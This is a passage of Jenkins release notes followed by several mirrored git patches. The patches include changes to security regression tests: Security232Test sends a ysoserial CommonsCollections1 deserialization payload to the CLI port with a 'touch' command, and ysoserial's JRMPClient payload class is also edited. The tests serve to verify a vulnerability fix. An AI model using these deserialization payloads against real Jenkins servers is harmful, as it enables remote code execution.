                                                    • - Indicate which node the workspace being viewed is on. - (issue 23636) -
                                                    • - Show full project name for projects in folders. - (issue 22971) -
                                                    • - UI redesign: Shrink the top bar, change logo, changed links in top bar. - (pull 1327, - (pull 1328) -
                                                    • - Killing processes started by builds on Unix was broken as of 1.553. - (issue 22641) -
                                                    • - Should not stop a build from finishing just to compute JUnit result difference to a prior build which is still running. - (issue 10234) -
                                                    • - Do not show link to System Information page for offline slaves, make page more robust when offline. - (issue 23041) -
                                                    • - Fix link to SCM polling log from downstream job cause. - (issue 18048) -
                                                    • - Autocomplete logger names. - (issue 23994) -
                                                    • - UI redesign: Fix links in header bar when logged in. -
                                                    • - Do not show changes for the build at the lower bound of the changes list. - (issue 18902) -
                                                    • - Restrict access to SCM trigger status page to administrators. - (pull 1282) -
                                                    -

                                                    What's new in 1.574 (2014/07/27)

                                                    -
                                                      -
                                                    • - UI redesign: Use Helvetica as default font - (pull 1315, - issue 23840) -
                                                    • - Synchronization issue during tool installation - (issue 17667) -
                                                    • - Use native encoding for filenames in downloaded ZIPs. - (issue 20663) -
                                                    -

                                                    What's new in 1.573 (2014/07/20)

                                                    -
                                                      -
                                                    • - UI redesign: Changed element alignment, removed sidebar link underlines - (pull 1314, - pull 1316) -
                                                    • - Word-break links in build logs to preserve page width - (pull 1308) -
                                                    • - Log rotation fails with "...looks to have already been deleted" - (issue 22395) -
                                                    • - Fixed unnecessary eager loading of build records in certain code path. - (issue 18065) -
                                                    -

                                                    What's new in 1.572 (2014/07/13)

                                                    -
                                                      -
                                                    • - UI redesign: Changed header, made layout <div>-based and responsive - (pull 1310) -
                                                    • - Improved handling of X-Forwarded-* headers - (issue 23294) -
                                                    • - Do not offer automatic upgrade if war parent directory is not writable - (issue 23683) -
                                                    -

                                                    What's new in 1.571 (2014/07/07)

                                                    -
                                                      -
                                                    • - IllegalArgumentException from AbstractProject.getEnvironment when trying to get environment variables from an offline slave. - (issue 23517) -
                                                    • - Overall.READ is sufficient to access /administrativeMonitor/hudsonHomeIsFull/ - (SECURITY-134) -
                                                    • - Master computer is not notified using ComputerListener - (issue 23481) -
                                                    -

                                                    What's new in 1.570 (2014/06/29)

                                                    -
                                                      -
                                                    • - Add CLI commands to add jobs to and remove jobs from views (add-job-to-view, remove-job-from-view). - (issue 23361) -
                                                    • - UI improvements / refreshing. - (issue 23492) -
                                                    • - Failed to correctly resave a project configuration containing both a forward and a reverse build trigger. - (issue 23191) -
                                                    • - Long log output resulted in missing Console link in popup. - (issue 14264) -
                                                    • - HTTP error 405 when trying to restart ssh host. - (issue 23094) -
                                                    • - Move 'None' Source Code Management option to top position. - (issue 23434) -
                                                    • - Fixed NullPointerException when ArtifactArchiver is called for a build with the undefined status. - (issue 23526) -
                                                    • - Allow disabling use of default exclude patterns in ArtifactArchiver (.git, .svn, etc.). - (issue 20086) -
                                                    • - Fixed NullPointerException when "properties" element is missing in a job's configuration submission by JSON - (issue 23437) -
                                                    -

                                                    What's new in 1.569 (2014/06/23)

                                                    -
                                                      -
                                                    • - Jenkins can now kill Win32 processes from Win64 JVMs. - (issue 23410) -
                                                    • - Allow custom security realm plugins to fire events to SecurityListeners. - (issue 23417) -
                                                    • - Recover gracefully if a build permalink has a non-numeric value. - (issue 21631) -
                                                    • - Fix form submission via the Enter key for Internet Explorer version 9. - (issue 22373) -
                                                    • - When Jenkins had a lot of jobs, submitting a view configuration change could overload the web server, even if few of the jobs were selected. - (issue 20327) -
                                                    -

                                                    What's new in 1.568 (2014/06/15)

                                                    -
                                                      -
                                                    • - Fixed JNLP connection handling problem - (issue 22932) -
                                                    • - Fixed NullPointerException caused by the uninitialized ProcessStarter environment in build wrappers - (issue 20559) -
                                                    • - Support the range notation for pagination in API - (issue 23228) -
                                                    • - Incorrect redirect after deleting a folder. - (issue 23375) -
                                                    • - Incorrect links from Build History page inside a folder. - (issue 19310) -
                                                    • - API changes allowing new job types to use SCM plugins. - (issue 23365) -
                                                    • - API changes allowing to create nested launchers (DecoratedLauncher) - (issue 19454) -
                                                    -

                                                    What's new in 1.567 (2014/06/09)

                                                    -
                                                      -
                                                    • - Fixed a reference counting bug in the remoting layer. - (commit) -
                                                    • - Avoid repeatedly reading symlinks from disk to resolve build permalinks. - (issue 22822) -
                                                    • - Show custom build display name in executors widget. - (issue 10477) -
                                                    • - CodeMirror support for shell steps broke initial configuration. - (issue 23151) -
                                                    • - Jenkins on Linux can not restart after plugin update when started without full path to java executable - (issue 22818) -
                                                    • - Fixed NullPointerException when a build triggering returns null cause - (issue 20499) -
                                                    • - Fixed NullPointerException on plugin installations when invalid update center is set - (issue 20031) -
                                                    • - Use DISABLED_ANIME icon while building a disabled project - (issue 8358) -
                                                    • - Process the items hierarchy when displaying the Show Poll Thread Count option - (issue 22934) -
                                                    • - Compressed output was turned on even before Access Denied errors were shown for disallowed Remote API requests, yielding a confusing error. - (issue 17374) - (issue 18116) -
                                                    • - Properly close input streams in FileParameterValue - (issue 22693) -
                                                    • - Incorrect failure age in the JUnit test results - (issue 18626) -
                                                    • - Fixed deletion links for JVM Crash error logs - (issue 22617) -
                                                    • - Distinguish "nodes for label offline" from "no nodes for label" - (issue 17114) -
                                                    • - Add causes to queue item tool tip - (issue 19250) -
                                                    • - RPM: added JENKINS_HTTPS_KEYSTORE and JENKINS_HTTPS_KEYSTORE_PASSWORD options to Jenkins sysconfig file - (issue 11673) -
                                                    • - RPM: Do not install jenkins.repo file - (issue 22690) -
                                                    • - Don't advertise POSTing config.xml on master - (issue 16264) -
                                                    • - Handle null parameter values to avoid massive executor deaths - (issue 15094) -
                                                    • - Added an option to archive artifacts only when the build is successful - (issue 22699) -
                                                    -

                                                    What's new in 1.566 (2014/06/01)

                                                    -
                                                      -
                                                    • - Configurable case sensitivity mode for user IDs. - (issue 22247) -
                                                    • - Extension point for project naming strategies did not work from actual plugins. - (issue 23127) -
                                                    • - Introduce directly modifiable views - (issue 22967) -
                                                    • - Jenkins cannot restart Windows service - (issue 22685) -
                                                    -

                                                    What's new in 1.565 (2014/05/26)

                                                    -
                                                      -
                                                    • - Misleading error message trying to dynamically update a plugin (which is impossible) on an NFS filesystem. - (issue 12753) -
                                                    • - Updated component used by the swap space monitor to better support Debian and AIX. -
                                                    • - SSH slave connections die after the slave outputs 4MB of stderr, usually during findbugs analysis - (issue 22938) -
                                                    • - Polling no longer triggers builds (regression 1.560) - (issue 22750) -
                                                    • - Allow markup formatter to be selected without enabling security. - (issue 22028) -
                                                    • - Fixed localization of build environment variable help. - (issue 22867) -
                                                    -

                                                    What's new in 1.564 (2014/05/19)

                                                    -
                                                      -
                                                    • - Improve list view performance on large instances with folders. - (issue 22720) -
                                                    • - Add indicator when build queue is filtered. - (issue 22698) -
                                                    • - Update bundled Matrix project plugin to 1.2 fixing issues introduced in 1.561. - (issue 22879, - issue 22798) -
                                                    -

                                                    What's new in 1.563 (2014/05/11)

                                                    -
                                                      -
                                                    • - Memory exhaustion in remoting channel since 1.560. - (issue 22734) -
                                                    • - Configurable size for log buffer. - (issue 22840) -
                                                    • - Gesture to clear log buffer. - (issue 22839) -
                                                    • - Prevent up to two-minute delay before scheduling jobs from a cron trigger. - (pull request 1216) -
                                                    • - Occasional attempts to delete a build during log rotation which had already been deleted. - (issue 22395) -
                                                    • - Again show proper display names for build parameters. - (issue 22755) -
                                                    -

                                                    What's new in 1.562 (2014/05/03)

                                                    -
                                                      -
                                                    • - Next build link was not reliably available from a previous build after starting a new one. - (issue 20662) -
                                                    • - Debian postinst: check for present user/group before adding them. - (issue 22715) -
                                                    • - Add distance between time tick labels on load statistics. - (issue 22686) -
                                                    • - Correctly show load statistics for master node. - (issue 22689) -
                                                    • - Make load statistics graph font configurable, use sans serif font by default. - (issue 22688) -
                                                    • - Add links to nodes on thread dump page for easier navigation. - (issue 22672) -
                                                    -

                                                    What's new in 1.561 (2014/04/27)

                                                    -
                                                      -
                                                    • - Fixed a corner case handling of tool installation. - (issue 16846) -
                                                    • - Enabled log rotation on the OSX package - (issue 15178) -
                                                    • - When measuring the length of the queue, jobs that consist of multiple subtasks should - count as more than 1. - (pull request 742) -
                                                    • - Close drop-down button menu when clicking outside - (issue 17050) -
                                                    • - RunParameter with filtering enabled incorrectly includes builds which have not yet completed - (issue 20974) -
                                                    • - Fixed NPE if RunParameterValue points to a stable build. - (issue 20857) -
                                                    • - Fixed a JavaScript problem in sortable table with IE8. - (issue 21729) -
                                                    • - More efficient deletion of old builds (specified by date). - (issue 22607) -
                                                    • - The matrix project type was moved into its own plugin. -
                                                    • - Linkage errors in notifiers could leak workspace leases. - (issue 21622) -
                                                    • - Better correction of the anomalous condition that several builds of a job specify the same number. - (issue 22631) -
                                                    • - Under certain conditions, a running build could mistakenly be shown as completed (and failed), while still producing output. - (issue 22681) -
                                                    • - Fix a bug which only showed the first detail part for radio buttons. - (issue 22583) -
                                                    • - Update version of bundled Mailer plugin to 1.8 to avoid issues with older versions -
                                                    • - Show larger load statistics graphs. - (issue 22674) -
                                                    • - Linebreak project names less aggressively. - (issue 22670) -
                                                    • - Added a new extension point for more pluggable JNLP slave handling -
                                                    • - Don't ask for confirmation when it doesn't make any sense. - (issue 21720) -
                                                    • - Jenkins asks for confirmation before leaving form even though user is not authorized to make changes. - (issue 20597) -
                                                    • - Make the computers monitor status row look different from regular node rows. - (pull request 1095) -
                                                    • - Do not offer "Install without restart" for plugin updates. - (pull request 1125) -
                                                    • - Require POST on more actions. - (pull request 877) -
                                                    • - Optimize image sizes. - (pull request 648) -
                                                    • - Properly close resources in case of exceptions. - (pull request 737) -
                                                    • - Fix warning on JBoss AS7 due to unnecessary xpp3_min dependency. - (pull request 733) -
                                                    • - Return queue item location when triggering buildWithParameters. - (issue 13546) -
                                                    -

                                                    What's new in 1.560 (2014/04/20)

                                                    -
                                                      -
                                                    • - Enforcing build trigger authentication at runtime by checking authentication associated with a build, rather than at configuration time. - For compatibility, enforcement is skipped by default; you must install the Authorize Project plugin or similar for this to take effect. - The “upstream pseudo trigger†was also removed in favor of a true trigger configured on the downstream project; - you may use either the post-build action or the trigger according to where you want this configuration stored, and who is authorized to change it. - (issue 16956) -
                                                    • - Fixed NPE from view new job name autocompletion since 1.553. - (issue 22142) -
                                                    • - Deadlocks in concurrent builds under some conditions since 1.556. - (issue 22560) -
                                                    • - JNLP slaves are now handled through NIO-based remoting channels for better scalability. -
                                                    • - Integrated codemirror v2.38. - (issue 22582) -
                                                    • - Listing plugins shortly after installation throws ConcurrentModificationException. - (issue 22553) -
                                                    • - Fixed NoSuchMethodException when destroying processes using JDK1.8. - (issue 21341) -
                                                    • - Avoid irrelevant job queuing while node is offline. - (issue 21394) -
                                                    • - Debian package now creates 'jenkins' group -
                                                    • - Suppress fingerprint link if fingerprint record isn't available. - (issue 21818) -
                                                    • - Job hangs if one of multiple triggered builds was aborted - (issue 21932) -
                                                    • - Don't submit form on Save after Apply in new window on some browsers. - (issue 20245) -
                                                    • - Remotely triggered builds now show correct IP address through proxy. - (issue 18008) -
                                                    -

                                                    What's new in 1.559 (2014/04/13)

                                                    -
                                                      -
                                                    • - Slaves connected via Java Web Start now restart themselves when a connection to Jenkins is lost. - (issue 19055) -
                                                    • - Fixed NPE from Slave.createLauncher. - (issue 21999) -
                                                    • - Faster rendering of views containing many items. - (issue 18364) -
                                                    -

                                                    What's new in 1.558 (2014/04/06)

                                                    -
                                                      -
                                                    • - Cron-style trigger configuration will now display expected prior and subsequent run times. -
                                                    • - Incorrect filtering of build queue and executors widgets after 1.514. - (issue 20500) -
                                                    • - NoSuchMethodError: hudson.model.BuildAuthorizationToken.checkPermission(…) from Build Token Root plugin since 1.556. - (issue 22382) -
                                                    • - Allow a Trigger to be a DependencyDeclarer. - (issue 22397) -
                                                    • - Fixed a slow down in resource loading caused by fix to JENKINS-18677. - (issue 21579) -
                                                    • - jenkins.war file shouldn't be exploded into /tmp - (issue 22442) -
                                                    • - Fixed NPE in UserCause - (issue 21875) -
                                                    • - Added RobustMapConverter. - (issue 22398) -
                                                    • - JNLP slaves now satisfies stricter requirements imposed by JDK7u45. - (issue 20204) -
                                                    • - Fixed NPE executing Pipe.EOF with ProxyWriter - (issue 20769) -
                                                    -

                                                    What's new in 1.557 (2014/03/31)

                                                    -
                                                      -
                                                    • - Fixed ArrayIndexOutOfBoundsException in XStream with Oracle JDK8 release version - (issue 18537) -
                                                    • - Corrected permission checks for copy-job and create-job CLI commands. - (issue 22262) -
                                                    • - identity.key, used to secure some communications with Jenkins, now stored encrypted with the master key. -
                                                    • - When dynamically loading a plugin which another loaded plugin already had an optional dependency on, class loading errors could result before restart. - (issue 19976) -
                                                    • - Memory leaks in the old data monitor. - (issue 19544) -
                                                    • - Ability for custom view types to disable automatic refresh. - (issue 21190) - (issue 21191) -
                                                    • - Option to download metadata directly from Jenkins rather than going through the browser. - (issue 19081) -
                                                    • - Allow JDK8 (and other versions) to be downloaded by JDKInstaller correctly. - (issue 22347) -
                                                    -

                                                    What's new in 1.556 (2014/03/23)

                                                    -
                                                      -
                                                    • - Access through API token and SSH key login now fully retains group memberships. - (issue 20064) -
                                                    • - API changes allowing more flexibility in unusual job types. - (issue 22131) -
                                                    • - Job can be reloaded individually from disk with "job/FOO/reload" URL or "reload-job" CLI command -
                                                    -

                                                    What's new in 1.555 (2014/03/16)

                                                    -
                                                      -
                                                    • - Jenkins should recover gracefully from a failure to process "remember me" cookie - (issue 11643) -
                                                    • - Fixed Up link in matrix projects - (issue 21773) -
                                                    -

                                                    What's new in 1.554 (2014/03/09)

                                                    -
                                                      -
                                                    • - Archiving of symlinks as artifacts did not work in some cases. - (issue 21958) -
                                                    • - Slow rendering of directories with many entries in remote workspaces. - (issue 21780) -
                                                    -

                                                    What's new in 1.553 (2014/03/02)

                                                    -
                                                      -
                                                    • - Build history widget only showed the last day of builds. - (Due to JENKINS-20892, even with this fix at most 20 builds are shown.) - (issue 21159) -
                                                    • - Random class loading error mostly known to affect static analysis plugins. - (issue 12124) -
                                                    • - After restarting Jenkins, users known only from changelogs could be shown as First Last _first.last@some.org_, breaking mail delivery. - (issue 16332) -
                                                    • - CLI build -s -v command caused 100% CPU usage on the master. - (issue 20965) -
                                                    • - Slave started from Java Web Start can now install itself as a systemd service. -
                                                    • - Split the “raw HTML†markup formatter out of core into a bundled plugin. -
                                                    • - Do not show Maven modules and matrix configurations in the Copy Job dialog. - (issue 19559) -
                                                    • - Fix autocompletion for items in folders. - (pull request 1124) -
                                                    -

                                                    What's new in 1.552 (2014/02/24)

                                                    -
                                                      -
                                                    • - Fixed handling of default JENKINS_HOME when storing CLI credentials - (issue 21772) -
                                                    • - Fixed broken action links on Label page - (issue 21778) -
                                                    • - Allow Actions to contribute to Labels' main page - (issue 21777) -
                                                    • - Expensive symlink-related calls on Windows can be simplified. - (issue 20534) -
                                                    • - Improve detection of broken reverse proxy setups. -
                                                    -

                                                    What's new in 1.551 (2014/02/14)

                                                    -
                                                      -
                                                    • - Valentine's day security release that contains more than a dozen security fixes. - (security advisory) -
                                                    • - Regression in Windows slaves since 1.547. - (issue 21373) -
                                                    • - Using java -jar jenkins-core.jar folder/external-monitor-job cmd … did not work. - (issue 21525) -
                                                    • - Jenkins crash on startup after upgrade from 1.546 to 1.548. - (issue 21474) -
                                                    • - f:combobox is narrow. - (issue 21612) -
                                                    • - The workspace cleanup thread failed to handle the modern workspace location on master, and mishandled folders. - (issue 21023) -
                                                    • - Fixed missing help items on "Configure Global Security" page - (issue 19832) -
                                                    • - Sort groups on user index page alphabetically. - (issue 21673) -
                                                    • - Should not be able to create a job named . (period). - (issue 21639) -
                                                    • - Plugins implementing "AsyncPeriodicWork" can overwrite default logging level - (pull request #1115) -
                                                    • - Wrong log message for out-of-order build record repair. - (issue 20730) -
                                                    • - Existing Fingerprint Action is reused and not added a second time. - (issue 19832) -
                                                    • - TestObject doesn't replace '%' character - (issue 21707) -
                                                    • - "java -jar jenkins.war" should use unique session cookie for users who run multiple Jenkins on the same host. -
                                                    -

                                                    What's new in 1.550 (2014/02/09)

                                                    -
                                                      -
                                                    • - Report number of all jobs as part of usage statistics - (issue 21448) -
                                                    • - Replace description in error dialog instead of appending - (issue 21457) -
                                                    -

                                                    What's new in 1.549 (2014/01/25)

                                                    -
                                                      -
                                                    • - Removing the "keep this build forever" lock on a build should require the DELETE permission. - (issue 16417) -
                                                    • - Files added to zip archive are closed properly. - (issue 20345) -
                                                    • - Broken CSS when reloading Jenkins after a time of inactivity - (issue 17526) -
                                                    • - Add Batch Command tool installer for Windows nodes. - (issue 21202) -
                                                    • - Allow more specific loggers to reduce log level. - (issue 21386) -
                                                    -

                                                    What's new in 1.548 (2014/01/20)

                                                    -
                                                      -
                                                    • - API for adding actions to a wide class of model objects at once. - (issue 18224) -
                                                    • - Added infrastructure for moving items into or out of folders. - (issue 20008) - (issue 18028) - (issue 18680) -
                                                    • - Apply buttons did not work in Internet Explorer in compatibility mode. - (issue 19826) -
                                                    • - Builds can seem to disappear from a job in a folder if that folder is renamed. - (issue 18694) -
                                                    • - /login offers link to /opensearch.xml which anonymous users cannot retrieve. - (issue 21254) -
                                                    • - Added API class SecurityListener to receive login events and similar. - (issue 20999) -
                                                    • - Option to hold lazy-loaded build references strongly, weakly, and more. - (issue 19400) -
                                                    -

                                                    What's new in 1.547 (2014/01/12)

                                                    -
                                                      -
                                                    • - Split Windows slave functionality into its own plugin. -
                                                    • - NPE since 1.545 when using aggregated test result publisher without specifying downstream jobs explicitly. - (issue 18410) -
                                                    • - Fixed Trend Graph NPE when there isn't any builds - (issue 21239) -
                                                    -

                                                    What's new in 1.546 (2014/01/06)

                                                    -
                                                      -
                                                    • - Builds disappear after renaming a job. - (issue 18678) -
                                                    • - When clicking Apply to rename a job, tell the user that Save must be used instead. - (issue 17401) -
                                                    • - Exception from XStream running Maven builds on strange Java versions. - (issue 21183) -
                                                    • - When clicking Apply results in an exception (error page), show it, rather than creating an empty dialog. - (issue 20772) -
                                                    -

                                                    Older changelogs can be found in a separate file -- GitLab From 6386257578b875b4462accd54af5e16475296b8e Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 14 Feb 2017 14:51:06 -0500 Subject: [PATCH 647/712] @daniel-beck forgot to update since tags when merging #1485. --- core/src/main/java/hudson/Functions.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index d8ef3c4ef4..8a6e1a9d06 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -1510,7 +1510,7 @@ public class Functions { * Like {@link Throwable#printStackTrace(PrintWriter)} but using {@link #printThrowable} format. * @param t an exception to print * @param pw the log - * @since FIXME + * @since 2.43 */ public static void printStackTrace(@CheckForNull Throwable t, @Nonnull PrintWriter pw) { pw.println(printThrowable(t).trim()); @@ -1520,7 +1520,7 @@ public class Functions { * Like {@link Throwable#printStackTrace(PrintStream)} but using {@link #printThrowable} format. * @param t an exception to print * @param ps the log - * @since FIXME + * @since 2.43 */ public static void printStackTrace(@CheckForNull Throwable t, @Nonnull PrintStream ps) { ps.println(printThrowable(t).trim()); -- GitLab From 01fe717f35f60aa92f13e1117e489b3d297e3e70 Mon Sep 17 00:00:00 2001 From: Brendan Nolan Date: Tue, 14 Feb 2017 20:52:45 +0000 Subject: [PATCH 648/712] [JENKINS-18734] - Call perform(AbstractBuild build, Launcher launcher, BuildListener listener) if implemented in BuildStep --- .../tasks/BuildStepCompatibilityLayer.java | 12 ++++- .../BuildStepCompatibilityLayerTest.java | 54 +++++++++++++++++++ 2 files changed, 64 insertions(+), 2 deletions(-) create mode 100644 core/src/test/java/hudson/tasks/BuildStepCompatibilityLayerTest.java diff --git a/core/src/main/java/hudson/tasks/BuildStepCompatibilityLayer.java b/core/src/main/java/hudson/tasks/BuildStepCompatibilityLayer.java index 24e2093c10..d47a246aad 100644 --- a/core/src/main/java/hudson/tasks/BuildStepCompatibilityLayer.java +++ b/core/src/main/java/hudson/tasks/BuildStepCompatibilityLayer.java @@ -31,9 +31,12 @@ import hudson.model.Action; import hudson.model.Project; import hudson.model.AbstractBuild; import hudson.model.AbstractProject; +import hudson.util.ReflectionUtils; import hudson.Launcher; +import hudson.Util; import java.io.IOException; +import java.lang.reflect.Method; import java.util.Collection; import java.util.Collections; @@ -118,8 +121,13 @@ public abstract class BuildStepCompatibilityLayer implements BuildStep { * Use {@link #perform(AbstractBuild, Launcher, BuildListener)} instead. */ @Deprecated - public boolean perform(Build build, Launcher launcher, BuildListener listener) throws InterruptedException, IOException { - throw new UnsupportedOperationException(); + public boolean perform(Build build, Launcher launcher, BuildListener listener) + throws InterruptedException, IOException { + if (build instanceof AbstractBuild && Util.isOverridden(BuildStepCompatibilityLayer.class, this.getClass(), + "perform", AbstractBuild.class, Launcher.class, BuildListener.class)) { + return perform((AbstractBuild) build, launcher, listener); + } + throw new AbstractMethodError(); } /** diff --git a/core/src/test/java/hudson/tasks/BuildStepCompatibilityLayerTest.java b/core/src/test/java/hudson/tasks/BuildStepCompatibilityLayerTest.java new file mode 100644 index 0000000000..c310e1f661 --- /dev/null +++ b/core/src/test/java/hudson/tasks/BuildStepCompatibilityLayerTest.java @@ -0,0 +1,54 @@ +package hudson.tasks; + +import static org.junit.Assert.assertTrue; +import hudson.Launcher; +import hudson.model.AbstractBuild; +import hudson.model.BuildListener; +import hudson.model.FreeStyleBuild; + +import java.io.IOException; + +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.mockito.Mockito; + +public class BuildStepCompatibilityLayerTest { + + @Issue("JENKINS-18734") + @Test(expected = AbstractMethodError.class) + public void testPerformExpectAbstractMethodError() throws InterruptedException, IOException { + + FreeStyleBuild mock = Mockito.mock(FreeStyleBuild.class, Mockito.CALLS_REAL_METHODS); + BuildStepCompatibilityLayer bscl = new BuildStepCompatibilityLayer() { + @Override + public BuildStepMonitor getRequiredMonitorService() { + return null; + } + }; + bscl.perform(mock, null, null); + + } + + @Issue("JENKINS-18734") + @Test + public void testPerform() throws InterruptedException, IOException { + + FreeStyleBuild mock = Mockito.mock(FreeStyleBuild.class, Mockito.CALLS_REAL_METHODS); + BuildStepCompatibilityLayer bscl = new BuildStepCompatibilityLayer() { + + @Override + public boolean perform(AbstractBuild build, Launcher launcher, BuildListener listener) + throws InterruptedException, IOException { + return true; + } + + @Override + public BuildStepMonitor getRequiredMonitorService() { + return null; + } + }; + assertTrue(bscl.perform(mock, null, null)); + + } + +} -- GitLab From 223151ea8b0afebe7141b3ad0cc5ee1af1d39cd1 Mon Sep 17 00:00:00 2001 From: Alex Earl Date: Tue, 14 Feb 2017 14:06:22 -0700 Subject: [PATCH 649/712] Fix parsing so that the test can complete. --- .../security/security218/ysoserial/payloads/JRMPClient.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java index a50f1fc947..e749bc9c43 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java @@ -79,7 +79,7 @@ public class JRMPClient extends PayloadRunner implements ObjectPayload String host; int port; int sep = command.indexOf(':'); - if ( sep < 0 ) { + if ( sep < 0 || ((sep+1) < command.length() && !Character.isDigit(command.charAt(sep+1)))) { port = new Random().nextInt(65535); host = command; } -- GitLab From 87add643656e72b89fa7b4187dcbe7ffc65732bc Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Wed, 15 Feb 2017 09:35:03 +0000 Subject: [PATCH 650/712] Noting merge of JENKINS-41899 --- changelog.html | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 7e0088cdde..06951f666a 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,10 @@ Upcoming changes

                                                    What's new in 2.46 (2017/02/13)

                                                    -- GitLab From 30bac622a8528ba5faaa55adf6987342f95fb1f0 Mon Sep 17 00:00:00 2001 From: Alex Earl Date: Wed, 15 Feb 2017 11:55:03 -0700 Subject: [PATCH 651/712] This is really just to get another build. --- test/src/test/java/jenkins/security/Security232Test.java | 1 + 1 file changed, 1 insertion(+) diff --git a/test/src/test/java/jenkins/security/Security232Test.java b/test/src/test/java/jenkins/security/Security232Test.java index 26ff457c4a..ee9881867d 100644 --- a/test/src/test/java/jenkins/security/Security232Test.java +++ b/test/src/test/java/jenkins/security/Security232Test.java @@ -164,6 +164,7 @@ public class Security232Test { long o2 = Long.parseLong(parts[ 1 ], 16); short o3 = Short.parseShort(parts[ 2 ], 16); + // Need to find Windows equivalent. exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, new CommonsCollections1(), "touch " + pwned); } -- GitLab From 815da8aa732baa699481828dda67dd5835ba4992 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Fri, 17 Feb 2017 10:17:44 +0300 Subject: [PATCH 652/712] Update remoting to 3.5 https://github.com/jenkinsci/remoting/edit/master/CHANGELOG.md Fixed issues: * [JENKINS-40710](https://issues.jenkins-ci.org/browse/JENKINS-40710) - Match headers case-insensitively in `JnlpAgentEndpointResolver` in order to be compliant with HTTP2 lower-case headers. ([PR #139](https://github.com/jenkinsci/remoting/pull/139), [PR #140](https://github.com/jenkinsci/remoting/pull/140)) * [JENKINS-41513](https://issues.jenkins-ci.org/browse/JENKINS-41513) - Prevent `NullPointerException` in `JnlpAgentEndpointResolver` when receiving a header with `null` name. ([PR #140](https://github.com/jenkinsci/remoting/pull/140)) * [JENKINS-41852](https://issues.jenkins-ci.org/browse/JENKINS-41852) - Fix exported object pinning logic to prevent release due to the integer overflow. ([PR #148](https://github.com/jenkinsci/remoting/pull/148)) Improvements: * [JENKINS-41730](https://issues.jenkins-ci.org/browse/JENKINS-41730) - Add the new `org.jenkinsci.remoting.engine.JnlpAgentEndpointResolver.ignoreJenkinsAgentProtocolsHeader` property, which allows specifying a custom list of supported protocols instead of the one returned by the Jenkins master. ([PR #146](https://github.com/jenkinsci/remoting/pull/146)) * Print the Filesystem Jar Cache directory location in the error message when this cache directory is not writable. ([PR #143](https://github.com/jenkinsci/remoting/pull/143)) * Replace `MimicException` with the older `ProxyException` when serializing non-serializable exceptions thrown by the remote code. ([PR #141](https://github.com/jenkinsci/remoting/pull/141)) * Use OID of the `ClassLoaderProxy` in error message when the proxy cannot be located in the export table. ([PR #147](https://github.com/jenkinsci/remoting/pull/147)) --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 8166d8787d..10755f4090 100644 --- a/pom.xml +++ b/pom.xml @@ -181,7 +181,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 3.4.1 + 3.5 -- GitLab From 88cd9136ca48c9977911607d6229aac7bf6d2f3f Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 17 Feb 2017 12:13:07 -0500 Subject: [PATCH 653/712] Security232Test seems flaky. --- test/src/test/java/jenkins/security/Security232Test.java | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/test/src/test/java/jenkins/security/Security232Test.java b/test/src/test/java/jenkins/security/Security232Test.java index 26ff457c4a..6b3d8e3acf 100644 --- a/test/src/test/java/jenkins/security/Security232Test.java +++ b/test/src/test/java/jenkins/security/Security232Test.java @@ -19,6 +19,7 @@ import java.lang.reflect.Proxy; import java.net.HttpURLConnection; import java.net.InetSocketAddress; import java.net.Socket; +import java.net.SocketException; import java.net.URL; import java.net.URLClassLoader; import java.rmi.activation.ActivationDesc; @@ -34,6 +35,7 @@ import static jenkins.security.security218.Payload.CommonsCollections1; import jenkins.security.security218.ysoserial.payloads.CommonsCollections1; import jenkins.security.security218.ysoserial.payloads.ObjectPayload; import static org.junit.Assert.*; +import org.junit.Assume; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.Issue; @@ -82,7 +84,11 @@ public class Security232Test { dos.writeUTF("Protocol:CLI-connect"); ExecutorService cp = Executors.newCachedThreadPool(); - c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); + try { + c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); + } catch (SocketException x) { + Assume.assumeNoException("failed to connect to CLI", x); + } System.err.println("* Channel open"); -- GitLab From 441628ad5549ed7e96b54ee560d3528e319c33df Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Fri, 17 Feb 2017 12:57:16 -0800 Subject: [PATCH 654/712] Typo --- core/src/main/resources/hudson/model/User/index_es.properties | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/resources/hudson/model/User/index_es.properties b/core/src/main/resources/hudson/model/User/index_es.properties index 1e459022c5..e11bdca7c5 100644 --- a/core/src/main/resources/hudson/model/User/index_es.properties +++ b/core/src/main/resources/hudson/model/User/index_es.properties @@ -20,4 +20,4 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -Jenkins\ User\ Id=Id de Usuario Jerkins +Jenkins\ User\ Id=Id de Usuario Jenkins -- GitLab From 1fe62ea77f57e4fbc7cea792fec5f097f73c554d Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sun, 19 Feb 2017 21:06:25 +0100 Subject: [PATCH 655/712] Remove changelog from jenkinsci/jenkins repository (#2757) * Remove changelog from jenkinsci/jenkins repository * Add tombstone file directing people to jenkins-infra/jenkins.io --- changelog.html | 1420 +----------------------------------------------- 1 file changed, 8 